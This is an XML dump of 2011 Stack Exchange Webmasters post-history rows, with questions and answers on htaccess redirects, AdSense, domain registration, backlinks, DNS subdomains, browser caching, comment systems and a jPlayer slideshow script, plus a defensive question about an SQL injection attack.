  <row Id="35420" PostHistoryTypeId="1" PostId="15037" RevisionGUID="557d86b4-8218-4ad4-a632-531dce041d0e" CreationDate="2011-06-09T18:17:15.910" UserDisplayName="Daniel S" Text="htaccess 301 Redirect with URI" />
  <row Id="35421" PostHistoryTypeId="3" PostId="15037" RevisionGUID="557d86b4-8218-4ad4-a632-531dce041d0e" CreationDate="2011-06-09T18:17:15.910" UserDisplayName="Daniel S" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;&lt;seo&gt;" />
  <row Id="35422" PostHistoryTypeId="17" PostId="15038" RevisionGUID="72a6fff4-9fa4-43be-94de-b20d582b3047" CreationDate="2011-06-09T19:35:29.760" UserId="-1" Comment="from http://stackoverflow.com/questions/6297373/htaccess-301-redirect-with-uri" Text="" />
  <row Id="35423" PostHistoryTypeId="5" PostId="13645" RevisionGUID="d77beff6-7846-4c20-a30f-97a677c37477" CreationDate="2011-06-09T20:12:39.197" UserId="2907" Comment="Fixed typo" Text="I often use include()/require() for the various areas, so you could have...&#xD;&#xA;&#xD;&#xA;    include($_SERVER['DOCUMENT_ROOT'].&quot;/includes/header.php&quot;);&#xD;&#xA;&#xD;&#xA;In &quot;A&quot; above. Then the logic to show/hide content based on permissions or a session variable (set after logging in) could show/hide various content.&#xD;&#xA;&#xD;&#xA;Something like...&#xD;&#xA;&#xD;&#xA;    If(isset($_SESSION['logged_in'])){ ?&gt;&#xD;&#xA;        &lt;!-- html here to show when logged in --&gt;&lt;?php&#xD;&#xA;    } ?&gt;&#xD;&#xA;    &lt;!-- html that's shown either way --&gt;&#xD;&#xA;&#xD;&#xA;Not sure if that covers what you're looking for. This way, you are checking a session vs. db hits or you hit the db once and set some local vars that filter down into the included files for evaluation." />
  <row Id="35427" PostHistoryTypeId="17" PostId="15040" RevisionGUID="b2d765bd-0aca-4c8f-bb77-b35d882d0c64" CreationDate="2011-06-09T20:42:40.220" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/16101/google-blog-adsense-how-to-proceed-further" Text="" />
  <row Id="35428" PostHistoryTypeId="2" PostId="15040" RevisionGUID="cb320c39-7fc4-4f98-a0cc-0ad6697af845" CreationDate="2011-06-09T17:21:21.927" UserId="6206" Text="I started Blogging today and I have used Google Stats and i found that there are 108 visitors(for past 7 hours the time i created by blog). As i'm novice in blogging, this 108 number is good enough to apply for Google adsense? Or I have to wait for some more time so that my page visitors increase,if so why?&#xD;&#xA;&#xD;&#xA;Thanks in advance for the answer and correct me if am wrong." />
  <row Id="35429" PostHistoryTypeId="1" PostId="15040" RevisionGUID="cb320c39-7fc4-4f98-a0cc-0ad6697af845" CreationDate="2011-06-09T17:21:21.927" UserId="6206" Text="Google Blog -- adsense. How to proceed further?" />
  <row Id="35430" PostHistoryTypeId="3" PostId="15040" RevisionGUID="cb320c39-7fc4-4f98-a0cc-0ad6697af845" CreationDate="2011-06-09T17:21:21.927" UserId="6206" Text="&lt;blogging&gt;&lt;google-adsense&gt;" />
  <row Id="35431" PostHistoryTypeId="25" PostId="15033" RevisionGUID="91f528aa-0caf-405e-9c61-82de8c3c582f" CreationDate="2011-06-09T21:16:26.833" Comment="http://twitter.com/#!/StackWebmasters/status/78933495250030592" />
  <row Id="35432" PostHistoryTypeId="2" PostId="15041" RevisionGUID="404b9f48-df80-4ff2-bc41-49550921d543" CreationDate="2011-06-09T21:33:30.513" UserId="2350" Text="I came across a government site that had also registered the .com, .net, .org, etc of a specific topic. It seems like squatting and monopolizing a topic to me. Just seems wrong to me but I'm no lawyer.&#xD;&#xA;&#xD;&#xA;Gov site: [www.cdc.gov/healthywater/swimming/][1]&#xD;&#xA;&#xD;&#xA;Domains:&#xD;&#xA;&#xD;&#xA; - healthyswimming.com (parked)&#xD;&#xA; - [healthyswimming.org][2] (gov site in a frame, not a redirect)&#xD;&#xA; - [healthyswimming.net][3] (gov site in a frame, not a redirect)&#xD;&#xA; - [healthyswimming.biz][4] (gov site in a frame, not a redirect)&#xD;&#xA; - [healthyswimming.info][5] (gov site in a frame, not a redirect)&#xD;&#xA;&#xD;&#xA;Are there any rules against this? &#xD;&#xA;Will the frame effect the search rankings of the source site?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cdc.gov/healthywater/swimming/&#xD;&#xA;  [2]: http://healthyswimming.org&#xD;&#xA;  [3]: http://healthyswimming.net&#xD;&#xA;  [4]: http://healthyswimming.biz&#xD;&#xA;  [5]: http://healthyswimming.info" />
  <row Id="35433" PostHistoryTypeId="1" PostId="15041" RevisionGUID="404b9f48-df80-4ff2-bc41-49550921d543" CreationDate="2011-06-09T21:33:30.513" UserId="2350" Text="Is it proper (or legal) for the government to buy non-.gov TLDs to monopolize a topic?" />
  <row Id="35434" PostHistoryTypeId="3" PostId="15041" RevisionGUID="404b9f48-df80-4ff2-bc41-49550921d543" CreationDate="2011-06-09T21:33:30.513" UserId="2350" Text="&lt;domain-names&gt;&lt;parking&gt;&lt;gov&gt;" />
  <row Id="35435" PostHistoryTypeId="2" PostId="15042" RevisionGUID="f608b859-0256-4617-8099-0a7cc1d0accc" CreationDate="2011-06-09T21:51:45.750" UserId="1253" Text="If private companies can do it, so can the government. There are no rules against owning all of the TLDs for a given domain. In fact big corporations do it to protect their brand." />
  <row Id="35436" PostHistoryTypeId="2" PostId="15043" RevisionGUID="d8c578cc-6ada-4be1-ae2e-81b6905d9ac4" CreationDate="2011-06-09T21:52:11.223" UserId="8136" Text="I'm creating a sort of widget for use on our partners' websites.  This widget will contain several links to our site which will help greatly with our backlink building efforts.  For the purposes of this question, let's assume that we have 10 different keywords that we'll be targeting.&#xD;&#xA;&#xD;&#xA;I have two options:&#xD;&#xA;&#xD;&#xA; 1. Generate the backlinks dynamically within the widget.  Every time the widget loads, one of the 10 keyword phrases is loaded randomly and displayed.&#xD;&#xA;&#xD;&#xA; 1. Generate dynamic backlinks when the widget embed code is created.  Every time a user accesses our embed code, one of the 10 keyword phrases is loaded randomly and inserted directly into the embed code.  Every time the widget loads on our partner's site, the same keyword phrase will be used.  However, with many partners using the various keyword phrases, all keyword phrases will receive equal coverage.  (I suppose this is similar behavior to a 'Random Posts' widget on a blog)&#xD;&#xA;&#xD;&#xA;Is it better to have a backlink that doesn't change and is the same over a long period of time (option 1), or a backlink that changes slightly every time a page loads (option 2)?  Or, is there no difference in the long run?&#xD;&#xA;&#xD;&#xA;**From an SEO perspective, which approach do you feel is superior?**&#xD;&#xA;&#xD;&#xA;Thanks so much! :)" />
  <row Id="35437" PostHistoryTypeId="1" PostId="15043" RevisionGUID="d8c578cc-6ada-4be1-ae2e-81b6905d9ac4" CreationDate="2011-06-09T21:52:11.223" UserId="8136" Text="Static Backlinks vs Rotating Backlinks?" />
  <row Id="35438" PostHistoryTypeId="3" PostId="15043" RevisionGUID="d8c578cc-6ada-4be1-ae2e-81b6905d9ac4" CreationDate="2011-06-09T21:52:11.223" UserId="8136" Text="&lt;seo&gt;&lt;google&gt;&lt;backlinks&gt;" />
  <row Id="35440" PostHistoryTypeId="5" PostId="15040" RevisionGUID="6812de01-db2f-419e-9b36-b199ebc58440" CreationDate="2011-06-09T21:53:24.157" UserId="1253" Comment="deleted 62 characters in body; edited tags" Text="I started Blogging today and I have used Google Stats and i found that there are 108 visitors(for past 7 hours the time i created by blog). As i'm novice in blogging, this 108 number is good enough to apply for Google adsense? Or I have to wait for some more time so that my page visitors increase,if so why?&#xD;&#xA;" />
  <row Id="35441" PostHistoryTypeId="6" PostId="15040" RevisionGUID="6812de01-db2f-419e-9b36-b199ebc58440" CreationDate="2011-06-09T21:53:24.157" UserId="1253" Comment="deleted 62 characters in body; edited tags" Text="&lt;google-adsense&gt;&lt;blogging&gt;" />
  <row Id="35442" PostHistoryTypeId="5" PostId="15043" RevisionGUID="b5e06073-fe29-4c4e-b0d3-f2a88e834dc2" CreationDate="2011-06-09T21:54:45.187" UserId="1253" Comment="deleted 20 characters in body" Text="I'm creating a sort of widget for use on our partners' websites.  This widget will contain several links to our site which will help greatly with our backlink building efforts.  For the purposes of this question, let's assume that we have 10 different keywords that we'll be targeting.&#xD;&#xA;&#xD;&#xA;I have two options:&#xD;&#xA;&#xD;&#xA; 1. Generate the backlinks dynamically within the widget.  Every time the widget loads, one of the 10 keyword phrases is loaded randomly and displayed.&#xD;&#xA;&#xD;&#xA; 1. Generate dynamic backlinks when the widget embed code is created.  Every time a user accesses our embed code, one of the 10 keyword phrases is loaded randomly and inserted directly into the embed code.  Every time the widget loads on our partner's site, the same keyword phrase will be used.  However, with many partners using the various keyword phrases, all keyword phrases will receive equal coverage.  (I suppose this is similar behavior to a 'Random Posts' widget on a blog)&#xD;&#xA;&#xD;&#xA;Is it better to have a backlink that doesn't change and is the same over a long period of time (option 1), or a backlink that changes slightly every time a page loads (option 2)?  Or, is there no difference in the long run?&#xD;&#xA;&#xD;&#xA;**From an SEO perspective, which approach do you feel is superior?**&#xD;&#xA;" />
  <row Id="35443" PostHistoryTypeId="2" PostId="15044" RevisionGUID="8c171ebe-1b93-4b94-abf7-1fda21ae4c09" CreationDate="2011-06-09T22:30:20.707" UserId="110" Text="A .gov (and .mil) are reserved because the government agencies that run them need to be able to deliver a certain amount of accountability.  If a citizen grabs info from a .gov site, they can trust that information is the official word of the government.  The government has a stronger need that a private company to deliver a specific message and have people be able to trust it as the same as they would trust a law.  &#xD;&#xA;&#xD;&#xA;While the content of a .gov site is certainly not a law, the fact is that plenty of citizens mentally treat them the same.&#xD;&#xA;&#xD;&#xA;However in terms of marketing, reaching an audience requires the same methods from public and private enterprises.  Browsers do not have a keyboard shortcut to go to a .gov site, so to effectively reach a broad audience, they have to own .com names and setup Facebook pages." />
  <row Id="35444" PostHistoryTypeId="2" PostId="15045" RevisionGUID="25f14aae-5f80-466a-9b0c-5aa368b43bae" CreationDate="2011-06-09T22:48:42.243" UserId="8117" Text="It makes sense to include Google ads when you think the number of ad clicks will pay you for the work/time investment of including the ads on your pages.&#xD;&#xA;&#xD;&#xA;For the first seven hours of your blog's life, &lt;100 visitors is pretty good.  Are you sure these are unique users and are you sure they do not include you visiting your brand new site?  Do you know how these visitors found your site?&#xD;&#xA;&#xD;&#xA;When making the decision as to when it's worth the effort to include ads, you will want to know if the number of visitors is sustainable or is just because you told you friends to visit your new site.&#xD;&#xA;&#xD;&#xA;My site is new too and I don't want to annoy my users with ads just yet.  When are you willing to do so?&#xD;&#xA;&#xD;&#xA;-Bob&lt;br&gt;&#xD;&#xA;&lt;a href=&quot;http://www.AstronomyLog.com&quot;&gt;AstronomyLog.com&lt;/a&gt;&#xD;&#xA;" />
  <row Id="35445" PostHistoryTypeId="2" PostId="15046" RevisionGUID="eb3ddac1-aa8d-4e3d-a26f-fce6c79e19e7" CreationDate="2011-06-09T22:51:04.600" UserId="8137" Text="I'm a newbie on this and this has probably been asked already but the subjects online were close but too vague in there&#xD;&#xA; answers so I've probably really messed this up. I would really appreciate specific step by step instructions.&#xD;&#xA;&#xD;&#xA;This is what I'd like to do: use the subdomain www.high-res.domain.com to be accessed by external customers with specific permissions to access the site (like ftp).  We use Network Solutions to house domain.com. We recently added a new ip address to point to www.high-res.domain.com. I gave the ip address to the company that hosts our website. I pinged www.high-res.domain.com and it points to the correct ip address but still times out. It’s been a few weeks now and when you ping it, it still times out.&#xD;&#xA;C:\&gt;ping XXX.XXX.X.XXX&#xD;&#xA;&#xD;&#xA;Pinging XXX.XXX.X.XXX with 32 bytes of data:&#xD;&#xA;&#xD;&#xA;Request timed out.&#xD;&#xA;Request timed out.&#xD;&#xA;Request timed out.&#xD;&#xA;Request timed out.&#xD;&#xA;&#xD;&#xA;Ping statistics for XXX.XXX.X.XXX:&#xD;&#xA;Packets: Sent = 4, Received = 0, Lost = 4 (100% loss).&#xD;&#xA;&#xD;&#xA;Tracert times out as well. I even went to DNS tools and a few other sites for checking this and it shows the same thing.&#xD;&#xA;&#xD;&#xA;I recently went into the DNSmgmt on our server (wink2k3sp1) and created an A record under the DomainDnsZones which translated to a Cname when you look at it. Under the Domain it has two entries one to the subdomain and the other to the website host each with separate ip addresses. Is this correct? The website people are too busy on another project to research it further and my friends haven't gotten back to me. Please help.&#xD;&#xA;Thanks KK" />
  <row Id="35446" PostHistoryTypeId="1" PostId="15046" RevisionGUID="eb3ddac1-aa8d-4e3d-a26f-fce6c79e19e7" CreationDate="2011-06-09T22:51:04.600" UserId="8137" Text="Subdomain still times out after set up a month ago" />
  <row Id="35447" PostHistoryTypeId="3" PostId="15046" RevisionGUID="eb3ddac1-aa8d-4e3d-a26f-fce6c79e19e7" CreationDate="2011-06-09T22:51:04.600" UserId="8137" Text="&lt;subdomain&gt;" />
  <row Id="35448" PostHistoryTypeId="5" PostId="15045" RevisionGUID="7c5ff21c-5e61-4763-9c45-126289b6f1eb" CreationDate="2011-06-09T22:53:15.453" UserId="1253" Comment="deleted 70 characters in body" Text="It makes sense to include Google ads when you think the number of ad clicks will pay you for the work/time investment of including the ads on your pages.&#xD;&#xA;&#xD;&#xA;For the first seven hours of your blog's life, &lt;100 visitors is pretty good.  Are you sure these are unique users and are you sure they do not include you visiting your brand new site?  Do you know how these visitors found your site?&#xD;&#xA;&#xD;&#xA;When making the decision as to when it's worth the effort to include ads, you will want to know if the number of visitors is sustainable or is just because you told you friends to visit your new site.&#xD;&#xA;&#xD;&#xA;My site is new too and I don't want to annoy my users with ads just yet.  When are you willing to do so?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35449" PostHistoryTypeId="25" PostId="14995" RevisionGUID="0cf62de6-4eb4-46b5-bac6-040d0bf4c01e" CreationDate="2011-06-10T00:16:26.987" Comment="http://twitter.com/#!/StackWebmasters/status/78978794815361024" />
  <row Id="35450" PostHistoryTypeId="2" PostId="15047" RevisionGUID="ba13d0cd-4363-4528-a320-5c6b4530983e" CreationDate="2011-06-10T00:46:06.960" UserId="8139" Text="I'm sure many site admins must deal with this sort of problem all the time, but I don't have a really good and simple solution myself.  It is what happens when you overwrite an existing image on the server.  The site visitor's browser still displays the old one and must be refreshed to see the updated image (and stylesheet for that matter).&#xD;&#xA;&#xD;&#xA;So is there any simple solution to trick the browser to refresh the cache when there's a new image using the old name?  And yes, of course the obvious solution is to rename the image, but please bear with me on this and assume that's not always a good solution...&#xD;&#xA;&#xD;&#xA;And this is for Drupal sites in case that bears on the question." />
  <row Id="35451" PostHistoryTypeId="1" PostId="15047" RevisionGUID="ba13d0cd-4363-4528-a320-5c6b4530983e" CreationDate="2011-06-10T00:46:06.960" UserId="8139" Text="Problem with browser caching images" />
  <row Id="35452" PostHistoryTypeId="3" PostId="15047" RevisionGUID="ba13d0cd-4363-4528-a320-5c6b4530983e" CreationDate="2011-06-10T00:46:06.960" UserId="8139" Text="&lt;css&gt;&lt;drupal&gt;&lt;browsers&gt;&lt;cache&gt;" />
  <row Id="35453" PostHistoryTypeId="2" PostId="15048" RevisionGUID="fdb662a5-21b5-4c97-ac1b-1565078a6fbd" CreationDate="2011-06-10T01:30:51.683" UserId="1253" Text="One common way to do this is to append a query string to the name of the file like this:&#xD;&#xA;&#xD;&#xA;    /images/coolpic.png?randomchars&#xD;&#xA;&#xD;&#xA;Appending the query string essentially &quot;renames&quot; the file so the browser will fetch the file. The query string is obviously useless to an image or stylesheet or other static files so it is ignored and won't break anything." />
  <row Id="35454" PostHistoryTypeId="2" PostId="15049" RevisionGUID="d65f87fc-be3b-47ce-b973-b845f794d995" CreationDate="2011-06-10T02:53:21.633" UserId="8140" Text="I'm in the process of layout the foundation for a new site of mine. The design is going to represent a company selling sports products.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35455" PostHistoryTypeId="1" PostId="15049" RevisionGUID="d65f87fc-be3b-47ce-b973-b845f794d995" CreationDate="2011-06-10T02:53:21.633" UserId="8140" Text="Design Suggestions For New Website" />
  <row Id="35456" PostHistoryTypeId="3" PostId="15049" RevisionGUID="d65f87fc-be3b-47ce-b973-b845f794d995" CreationDate="2011-06-10T02:53:21.633" UserId="8140" Text="&lt;website-design&gt;" />
  <row Id="35457" PostHistoryTypeId="10" PostId="15049" RevisionGUID="0cf9ab09-4a42-49bf-a585-ee06c0eca6ed" CreationDate="2011-06-10T02:54:28.933" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35458" PostHistoryTypeId="25" PostId="15047" RevisionGUID="83718603-659b-44e8-b972-a66473f6211f" CreationDate="2011-06-10T03:16:27.220" Comment="http://twitter.com/#!/StackWebmasters/status/79024094712053760" />
  <row Id="35459" PostHistoryTypeId="2" PostId="15050" RevisionGUID="ade2f1a1-1430-4be3-b4d8-7b42682fe8e0" CreationDate="2011-06-10T05:34:41.773" UserId="5476" Text="I need third party commenting system for ASP.Net website, preferably free or pay one time fee for the code. &#xD;&#xA;&#xD;&#xA;I need the commenting system to be integrate with website login, so that users no need to login again to post comments. &#xD;&#xA;&#xD;&#xA;I checked Disqus Single sign on(SSO), however it charges monthly fee for SSO. &#xD;&#xA;&#xD;&#xA;Could you suggest any other alternative?" />
  <row Id="35460" PostHistoryTypeId="1" PostId="15050" RevisionGUID="ade2f1a1-1430-4be3-b4d8-7b42682fe8e0" CreationDate="2011-06-10T05:34:41.773" UserId="5476" Text="Comment system which can integrate with existing website" />
  <row Id="35461" PostHistoryTypeId="3" PostId="15050" RevisionGUID="ade2f1a1-1430-4be3-b4d8-7b42682fe8e0" CreationDate="2011-06-10T05:34:41.773" UserId="5476" Text="&lt;asp.net&gt;&lt;comments&gt;" />
  <row Id="35462" PostHistoryTypeId="2" PostId="15051" RevisionGUID="c15d9215-9bab-4a30-a564-1e696b58db42" CreationDate="2011-06-10T05:45:32.650" UserId="8141" Text="you can try&#xD;&#xA;http://livefyre.com/&#xD;&#xA;&#xD;&#xA;http://intensedebate.com/&#xD;&#xA;&#xD;&#xA;hope it helps&#xD;&#xA;" />
  <row Id="35463" PostHistoryTypeId="25" PostId="15050" RevisionGUID="640fd113-4e98-4ad3-83f7-7383d8af84f4" CreationDate="2011-06-10T06:16:27.483" Comment="http://twitter.com/#!/StackWebmasters/status/79069393878921216" />
  <row Id="35464" PostHistoryTypeId="2" PostId="15052" RevisionGUID="4de6c3a3-26e7-49cc-bab2-0211f92a73bf" CreationDate="2011-06-10T06:50:20.463" UserId="647" Text="I’m not sure if I understand your question right. If you want to redirect all requests to `path` to `subdomain3.example.com` just compare the hosts:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^subdomain3\.example\.com$&#xD;&#xA;    RewriteRule ^path http://subdomain3.example.com/ [L,R=301]" />
  <row Id="35465" PostHistoryTypeId="2" PostId="15053" RevisionGUID="dc8274a1-568c-4d36-88d2-f2b5f9619c42" CreationDate="2011-06-10T07:15:16.563" UserId="8145" Text="noob here...  I paid someone to find out why my joomla site was slowing down and exceeding bandwidth etc. &#xD;&#xA;&#xD;&#xA;They told me that I was experiencing an sql injection attack through my RSS feed, they did some work on my site that I don't understand that was supposed to block or slow down the problem. I don't think its working.&#xD;&#xA;&#xD;&#xA;Can anyone point me a tutorial or tell me what tools a noob my start with to analyze my site/server?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35466" PostHistoryTypeId="1" PostId="15053" RevisionGUID="dc8274a1-568c-4d36-88d2-f2b5f9619c42" CreationDate="2011-06-10T07:15:16.563" UserId="8145" Text="How to begin trouble shooting an sql injection attack?" />
  <row Id="35467" PostHistoryTypeId="3" PostId="15053" RevisionGUID="dc8274a1-568c-4d36-88d2-f2b5f9619c42" CreationDate="2011-06-10T07:15:16.563" UserId="8145" Text="&lt;websites&gt;&lt;server&gt;" />
  <row Id="35468" PostHistoryTypeId="2" PostId="15054" RevisionGUID="0fa6ffb0-2ae8-4df4-a194-10584a6d9cf1" CreationDate="2011-06-10T07:34:39.847" UserId="7198" Text="You'll need JavaScript.&#xD;&#xA;&#xD;&#xA;The good news is that it's pretty easy. Just use the [jPlayer](http://jplayer.org/) video player for video playback, then bind the `$.jPlayer.event.timeupdate` event to advance your slideshow:&#xD;&#xA;&#xD;&#xA;[LIVE DEMO HERE](http://test.nickcernis.com/wm/jplayer/)&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;Demo : jPlayer as a slide player&lt;/title&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;link href=&quot;skin/jplayer.blue.monday.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;style&gt;&#xD;&#xA;    #slideshow{	float:left;	margin-left:10px;}&#xD;&#xA;    .jp-video{ float:left;}&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;js/jquery.jplayer.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    //&lt;![CDATA[&#xD;&#xA;    $(document).ready(function(){&#xD;&#xA;    &#xD;&#xA;    	$(&quot;#jp&quot;).jPlayer({&#xD;&#xA;    		ready: function () {&#xD;&#xA;    			$(this).jPlayer(&quot;setMedia&quot;, {&#xD;&#xA;    				m4v: &quot;http://www.jplayer.org/video/m4v/Big_Buck_Bunny_Trailer_480x270_h264aac.m4v&quot;,&#xD;&#xA;    				ogv: &quot;http://www.jplayer.org/video/ogv/Big_Buck_Bunny_Trailer_480x270.ogv&quot;,&#xD;&#xA;    				poster: &quot;http://www.jplayer.org/video/poster/Big_Buck_Bunny_Trailer_480x270.png&quot;&#xD;&#xA;    			});&#xD;&#xA;    		},&#xD;&#xA;    		ended: function (event) {&#xD;&#xA;    			$(this).jPlayer(&quot;play&quot;);&#xD;&#xA;    		},&#xD;&#xA;    		swfPath: &quot;js&quot;,&#xD;&#xA;    		supplied: &quot;m4v, ogv&quot;&#xD;&#xA;    	});&#xD;&#xA;    	&#xD;&#xA;    	$(&quot;#jp&quot;).bind($.jPlayer.event.timeupdate, function(event) { &#xD;&#xA;    		var currentTime = Math.floor(event.jPlayer.status.currentTime)&#xD;&#xA;    		&#xD;&#xA;    		if (currentTime &lt; 3){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide1.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    				&#xD;&#xA;    		if (currentTime &gt;= 3 &amp;&amp; currentTime &lt; 12){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide2.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		if (currentTime &gt;= 12 &amp;&amp; currentTime &lt; 16){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide3.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		if (currentTime &gt;= 16 &amp;&amp; currentTime &lt; 22){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide4.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		if (currentTime &gt;= 22 &amp;&amp; currentTime &lt; 30){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide5.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    		&#xD;&#xA;    		&#xD;&#xA;    		if (currentTime &gt;= 30){&#xD;&#xA;    			$(&quot;#slideshow&quot;).html(&quot;&lt;img src='http://yoursite.com.com/wm/jplayer/slides/fin.png'/&gt;&quot;);	&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    		&#xD;&#xA;    		&#xD;&#xA;    	});&#xD;&#xA;    	&#xD;&#xA;    	&#xD;&#xA;    });&#xD;&#xA;    //]]&gt;&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    		&lt;div class=&quot;jp-video jp-video-360p&quot;&gt;&#xD;&#xA;    			&lt;div class=&quot;jp-type-single&quot;&gt;&#xD;&#xA;    				&lt;div id=&quot;jp&quot; class=&quot;jp-jplayer&quot;&gt;&lt;/div&gt;&#xD;&#xA;    				&lt;div id=&quot;jp_interface_1&quot; class=&quot;jp-interface&quot;&gt;&#xD;&#xA;    					&lt;div class=&quot;jp-video-play&quot;&gt;&lt;/div&gt;&#xD;&#xA;    					&lt;ul class=&quot;jp-controls&quot;&gt;&#xD;&#xA;    						&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;jp-play&quot; tabindex=&quot;1&quot;&gt;play&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    						&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;jp-pause&quot; tabindex=&quot;1&quot;&gt;pause&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    						&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;jp-stop&quot; tabindex=&quot;1&quot;&gt;stop&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    						&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;jp-mute&quot; tabindex=&quot;1&quot;&gt;mute&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    						&lt;li&gt;&lt;a href=&quot;#&quot; class=&quot;jp-unmute&quot; tabindex=&quot;1&quot;&gt;unmute&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    					&lt;/ul&gt;&#xD;&#xA;    					&lt;div class=&quot;jp-progress&quot;&gt;&#xD;&#xA;    						&lt;div class=&quot;jp-seek-bar&quot;&gt;&#xD;&#xA;    							&lt;div class=&quot;jp-play-bar&quot;&gt;&lt;/div&gt;&#xD;&#xA;    						&lt;/div&gt;&#xD;&#xA;    					&lt;/div&gt;&#xD;&#xA;    					&lt;div class=&quot;jp-volume-bar&quot;&gt;&#xD;&#xA;    						&lt;div class=&quot;jp-volume-bar-value&quot;&gt;&lt;/div&gt;&#xD;&#xA;    					&lt;/div&gt;&#xD;&#xA;    					&lt;div class=&quot;jp-current-time&quot;&gt;&lt;/div&gt;&#xD;&#xA;    					&lt;div class=&quot;jp-duration&quot;&gt;&lt;/div&gt;&#xD;&#xA;    				&lt;/div&gt;&#xD;&#xA;    				&lt;div id=&quot;jp_playlist_1&quot; class=&quot;jp-playlist&quot;&gt;&#xD;&#xA;    					&lt;ul&gt;&#xD;&#xA;    						&lt;li&gt;Big Buck Bunny Trailer&lt;/li&gt;&#xD;&#xA;    					&lt;/ul&gt;&#xD;&#xA;    				&lt;/div&gt;&#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&#xD;&#xA;    		&lt;div id=&quot;slideshow&quot;&gt;&#xD;&#xA;    		&lt;img src='http://yoursite.com.com/wm/jplayer/slides/slide1.png'/&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35469" PostHistoryTypeId="2" PostId="15055" RevisionGUID="d05b1c7d-7eb8-46df-a12c-82369389f790" CreationDate="2011-06-10T07:39:47.983" UserId="8141" Text="Yes it impacts site page ranking. ? mark denotes dynamic content.&#xD;&#xA;The best way to so it would be to use links seperated by -&#xD;&#xA;like:&#xD;&#xA;&#xD;&#xA;google-ranking-difference-between-example-com-and-example-com-ref-id&#xD;&#xA;&#xD;&#xA;which are used by major CMS and blog sites which are proving very useful." />
  <row Id="35470" PostHistoryTypeId="2" PostId="15056" RevisionGUID="a8c7d28e-07ec-4d1d-bc52-7b07807cdc52" CreationDate="2011-06-10T07:44:52.827" UserId="8141" Text="Dont worry&#xD;&#xA;try this&#xD;&#xA;&#xD;&#xA;http://sqlzoo.net/hack/&#xD;&#xA;&#xD;&#xA;http://php.net/manual/en/security.database.sql-injection.php&#xD;&#xA;&#xD;&#xA;http://www.unixwiz.net/techtips/sql-injection.html&#xD;&#xA;&#xD;&#xA;hope it helps you&#xD;&#xA;" />
  <row Id="35471" PostHistoryTypeId="2" PostId="15057" RevisionGUID="a45f5463-a9dd-4934-937a-8700dee19b16" CreationDate="2011-06-10T07:55:44.110" UserId="8141" Text="You have many broken links in your site.The page itself does not exist.&#xD;&#xA;Moreover try adding not more than 100 links in your site and possibly add one page each day.This will help you up to an extent. " />
  <row Id="35472" PostHistoryTypeId="2" PostId="15058" RevisionGUID="1cbeaea8-821a-48d2-b528-ce1bcb338861" CreationDate="2011-06-10T08:03:15.477" UserId="8141" Text="You can use javascript encryptor or other tools to encrypt your code.Moreover web is the open community where there are many people who will use your code in any part of the globe and you will never know it.Then why should you need a lawyer?&#xD;&#xA;or like this which I have used&#xD;&#xA;&#xD;&#xA;http://www.fcan.org.np&#xD;&#xA;&#xD;&#xA;or the like google uses." />
